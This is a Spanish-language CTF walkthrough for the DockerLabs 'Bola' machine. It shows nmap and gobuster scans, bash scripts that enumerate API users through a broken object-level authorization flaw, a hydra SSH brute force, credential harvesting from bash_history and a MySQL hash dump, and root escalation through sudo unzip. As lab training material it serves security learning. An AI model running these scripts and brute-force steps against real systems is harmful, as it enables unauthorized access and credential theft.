Bola DockerLabs (Intermediate)
Instalación
Cuando obtenemos el .zip nos lo pasamos al entorno en el que vamos a empezar a hackear la maquina y haremos lo siguiente.
unzip bola.zipNos lo descomprimira y despues montamos la maquina de la siguiente forma.
bash auto_deploy.sh bola.tarInfo:
## .
## ## ## ==
## ## ## ## ===
/""""""""""""""""\___/ ===
~~~ {~~ ~~~~ ~~~ ~~~~ ~~ ~ / ===- ~~~
\______ o __/
\ \ __/
\____\______/
___ ____ ____ _ _ ____ ____ _ ____ ___ ____
| \ | | | |_/ |___ |__/ | |__| |__] [__
|__/ |__| |___ | \_ |___ | \ |___ | | |__] ___]
Estamos desplegando la máquina vulnerable, espere un momento.
Máquina desplegada, su dirección IP es --> 172.17.0.2
Presiona Ctrl+C cuando termines con la máquina para eliminarlaPor lo que cuando terminemos de hackearla, le damos a Ctrl+C y nos eliminara la maquina para que no se queden archivos basura.
Escaneo de puertos
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn <IP>nmap -sCV -p<PORTS> <IP>Info:
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-10 03:12 EDT
Nmap scan report for packer.pw (172.17.0.2)
Host is up (0.000072s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u6 (protocol 2.0)
| ssh-hostkey:
| 256 4f:3f:8c:fb:88:da:ea:37:d6:9f:c3:bd:f4:8e:18:1b (ECDSA)
|_ 256 2e:a1:36:ff:8b:bb:0d:b3:c8:cb:4a:81:cb:37:77:31 (ED25519)
12345/tcp open http Werkzeug httpd 2.2.2 (Python 3.11.2)
|_http-title: Site doesn't have a title (application/json).
|_http-server-header: Werkzeug/2.2.2 Python/3.11.2
MAC Address: 02:42:AC:11:00:02 (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.76 secondsVeremos que hay un puerto que esta ejecutado por python3 llamado 12345 que si entramos veremos la estructura de una API en la que no veremos nada interesante, por lo que vamos a realizar un poco de Fuzzing a ver si encontramos algo interesante.
Gobuster
gobuster dir -u http://<IP>:12345/ -w <WORDLIST> -x html,php,txt -t 50 -k -rInfo:
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://172.17.0.2:12345/
[+] Method: GET
[+] Threads: 50
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: html,php,txt
[+] Follow Redirect: true
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/login (Status: 405) [Size: 153]
/user (Status: 400) [Size: 54]
/console (Status: 400) [Size: 167]
Progress: 197240 / 882244 (22.36%)^C
[!] Keyboard interrupt detected, terminating.
Progress: 197492 / 882244 (22.39%)
===============================================================
Finished
===============================================================Veremos que hemos encontrado 2 parametros llamados user y /login, si ponemos simplemente /user nos pondra que ingresemos un usuario valido a nivel de API y si entramos a /login nos pondra Method Not Allowed por lo que posiblemente tenga que hacerse de otra forma la peticion en vez de por GET por POST, vamos a investigar un poco.
Si en el /login ponemos esta estructura:
curl -X POST http://<IP>:12345/login \
-H "Content-Type: application/json" \
-d '{"username":"admin", "password":"admin"}'Info:
{
"message": "Invalid credentials"
}Vemos que responde bien, por lo que ahora mismo nos interesa enumerar los usuarios para encontrar alguno y posteriormente realizar fuerza bruta en el login con dicho usuario, vamos a montarnos un script que haga fuerza bruta en el /user a ver que encontramos.
userAttack.sh
#!/bin/bash
URL="http://<IP>:12345/user/"
WORDLIST="usuarios.txt"
echo "[*] Buscando usuarios válidos en $URL"
for user in $(cat $WORDLIST); do
echo "[*] Probando usuario: $user"
# Comprobar usuario en /user/
response=$(curl -s -X POST "$URL" \
-H "Content-Type: application/json" \
-d "{\"username\":\"$user\"}")
if [[ "$response" != *"Proporciona un usuario válido"* ]]; then
echo "[+] Usuario válido encontrado: $user"
# Probar GET en /user/<usuario>
echo "[*] Probando GET en /user/$user"
curl -s -X GET "$URL$user" -o /tmp/resp.txt
if ! grep -q "User not found" /tmp/resp.txt; then
echo "[+] Usuario con datos: $user"
cat /tmp/resp.txt
exit 0
else
echo "[-] $user no tiene datos (User not found)"
fi
fi
doneNOTA:
En la parte de WORDLIST tendremos que poner el nombre de dicho que utilicemos que tendra que estar en el mismo directorio, lo mismo con <IP> tendremos que poner la de la victima.
Ahora lo ejecutamos de esta forma:
chmod +x userAttack.sh
bash userAttack.shInfo:
..............................<RESTO_CODIGO>.......................................
[*] Probando usuario: 007
[+] Usuario válido encontrado: 007
[*] Probando GET en /user/007
[+] Usuario con datos: 007
{
"email": "george@example.com",
"id": 7,
"username": "george"
}Veremos que ha funcionado y que ha encontrado dicho usuario, ahora tendremos que realizar fuerza bruta con dicho usuario 007 al parametro /login, por lo que nos montaremos otro script.
Pero veremos que no va a funcionar, si volvemos a pensar, vemos que tenemos en 007 tambien un identificador (id) vamos a ver si tambien nos puestra la informacion por id de esta forma:
curl http://<IP>:12345/user/7Info:
{
"email": "george@example.com",
"id": 7,
"username": "george"
}Vemos que funciona, por lo que vamos a montarnos un script para obtener todos los usuarios mediante los id de esta forma:
idAttack.sh
#!/bin/bash
URL="http://<IP>:12345/user" # Sustituye <IP> por la IP real
echo "[*] Enumerando usuarios por ID..."
for id in $(seq 1 100); do
echo "[*] Probando ID: $id"
response=$(curl -s "$URL/$id")
# Comprueba si hay un username en la respuesta
if [[ "$response" == *"username"* ]]; then
username=$(echo "$response" | grep -oP '"username":\s*"\K[^"]+')
echo "[+] Usuario encontrado: ID=$id, username=$username"
else
echo "[-] No hay usuario con ID: $id"
fi
donebash idAttack.shInfo:
[*] Enumerando usuarios por ID...
[*] Probando ID: 1
[+] Usuario encontrado: ID=1, username=alice
[*] Probando ID: 2
[+] Usuario encontrado: ID=2, username=bob
[*] Probando ID: 3
[+] Usuario encontrado: ID=3, username=charlie
[*] Probando ID: 4
[+] Usuario encontrado: ID=4, username=diana
[*] Probando ID: 5
[+] Usuario encontrado: ID=5, username=edward
[*] Probando ID: 6
[+] Usuario encontrado: ID=6, username=fiona
[*] Probando ID: 7
[+] Usuario encontrado: ID=7, username=george
[*] Probando ID: 8
[+] Usuario encontrado: ID=8, username=hannah
[*] Probando ID: 9
[+] Usuario encontrado: ID=9, username=ian
[*] Probando ID: 10
[+] Usuario encontrado: ID=10, username=julia
[*] Probando ID: 11
[+] Usuario encontrado: ID=11, username=kevin
[*] Probando ID: 12
[+] Usuario encontrado: ID=12, username=laura
[*] Probando ID: 13
[+] Usuario encontrado: ID=13, username=michael
[*] Probando ID: 14
[+] Usuario encontrado: ID=14, username=nina
[*] Probando ID: 15
[+] Usuario encontrado: ID=15, username=oscar
[*] Probando ID: 16
[+] Usuario encontrado: ID=16, username=paula
[*] Probando ID: 17
[+] Usuario encontrado: ID=17, username=quinn
[*] Probando ID: 18
[+] Usuario encontrado: ID=18, username=rachel
[*] Probando ID: 19
[+] Usuario encontrado: ID=19, username=steven
[*] Probando ID: 20
[+] Usuario encontrado: ID=20, username=tina
..............................<RESTO_CODIGO>.......................................Vamos a crear un wordlist de usuarios.
users.txt
alice
bob
charlie
diana
edward
fiona
george
hannah
ian
julia
kevin
laura
michael
nina
oscar
paula
quinn
rachel
steven
tinaUna vez echo esto vamos a probar dichos usuarios en SSH con un diccionario de contraseñas para probar fuerza bruta.
Pero no lo conseguiremos por lo que vamos a probar a que utilice el mismo diccionario de usuarios como contraseña.
Escalate user steven
Hydra
hydra -L users.txt ssh://<IP> -t 64 -I -e nsrInfo:
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-07-10 04:04:23
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[WARNING] Restorefile (ignored ...) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 60 tasks per 1 server, overall 60 tasks, 60 login tries (l:20/p:3), ~1 try per task
[DATA] attacking ssh://172.17.0.2:22/
[22][ssh] host: 172.17.0.2 login: steven password: steven
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-07-10 04:04:28Veremos que ha funcionado por lo que nos conectaremos por SSH.
SSH
ssh steven@<IP>Metemos como contraseña steven y veremos que estaremos dentro.
Info:
Linux 24eda0f49f6e 6.12.13-amd64 #1 SMP PREEMPT_DYNAMIC Kali 6.12.13-1kali1 (2025-02-11) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
steven@24eda0f49f6e:~$ whoami
stevenEscalate user baluadmin
Vamos a ver que puertos tenemos en el sistema.
ss -tulnInfo:
Netid State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
tcp LISTEN 0 80 127.0.0.1:3306 0.0.0.0:*
tcp LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
tcp LISTEN 0 128 0.0.0.0:12345 0.0.0.0:*
tcp LISTEN 0 128 [::]:22 [::]:*Si leemos el siguiente archivo de la /home de nuestro usuario veremos lo siguiente:
cat /home/steven/.bash_historyInfo:
mysql -y steven -psteven
mysql -u steven -psteven
exit
mysql -u steven -psteven
exit
ls
unzip secretitosecretazo.zip
ls
cp secretitosecretazo.zip /home
ls
exit
sudo -l
cd /home
ls
exitVemos cosas bastantes interesantes, por lo que vamos a probarlas en mysql.
mysql -h localhost -u steven -pstevenInfo:
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MariaDB connection id is 41
Server version: 10.11.11-MariaDB-0+deb12u1 Debian 12
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
MariaDB [(none)]>Veremos que ha funcionado por lo que vamos a investigar un poco.
show databases;Info:
+--------------------+
| Database |
+--------------------+
| information_schema |
| secretito |
+--------------------+
2 rows in set (0.014 sec)Veremos una DDBB bastante interesante llamado secretito, vamos a ver que tablas contiene.
use secretito;
show tables;Info:
+---------------------+
| Tables_in_secretito |
+---------------------+
| usuarios |
+---------------------+
1 row in set (0.000 sec)Ahora vamos a ver que contiene dicha tabla mostrando toda la informacion.
select * from usuarios;Info:
+----+-----------+----------------------------------+
| id | usuario | password |
+----+-----------+----------------------------------+
| 1 | alice | 8bdffaa69d328c1d4ae3aeadc97de223 |
| 2 | bob | d8578edf8458ce06fbc5bb76a58c5ca4 |
| 3 | charlie | e99a18c428cb38d5f260853678922e03 |
| 4 | baluadmin | aa87ddc5b4c24406d26ddad771ef44b0 |
| 5 | diana | e10adc3949ba59abbe56e057f20f883e |
+----+-----------+----------------------------------+
5 rows in set (0.000 sec)Veremos que estamos viendo los hashes en formato MD5, pero el que nos interesa es el del usuario baluadmin que esta registrado en el sistema, por lo que vamos a decodificarlo en la siguiente pagina:
URL = Decode Page MD5
Si lo decodificamos veremos lo siguiente:
baluadmin:aa87ddc5b4c24406d26ddad771ef44b0Info:
baluadmin:estrellaVamos a probarlas de esta forma en el servidor.
su baluadminMetemos como contraseña estrella y veremos que estamos dentro.
Info:
baluadmin@24eda0f49f6e:/home/steven$ whoami
baluadminEscalate Privileges
Si hacemos sudo -l veremos lo siguiente:
Matching Defaults entries for baluadmin on 24eda0f49f6e:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
User baluadmin may run the following commands on 24eda0f49f6e:
(ALL) NOPASSWD: /usr/bin/unzipVeremos que podemos ejecutar unzip como el usuario root por lo que podremos hacer lo siguiente.
Acordemonos de que en el .bash_history de la /home del usuario steven vimos este .zip.
secretitosecretazo.zipPor lo que vamos a buscarlo.
find / -name "secretitosecretazo.zip" 2>/dev/nullInfo:
/secretitosecretazo.zipVemos que esta en la propia raiz (/), por lo que vamos a descomprimirlo utilizando sudo.
sudo unzip /secretitosecretazo.zipInfo:
Archive: /secretitosecretazo.zip
extracting: sorpresitajiji.txtVemos que obtenemos el archivo llamado sorpresitajiji.txt y si lo leemos veremos lo siguiente:
root:pedazodepasswordchavalVamos a probar dicha credencial para el usuario root.
su rootMetemos como contraseña pedazodepasswordchaval...
root@a71e5c97925e:/home/baluadmin# whoami
rootVeremos que ha funcionado, por lo que seremos el usuario root y habremos terminado la maquina.
Last updated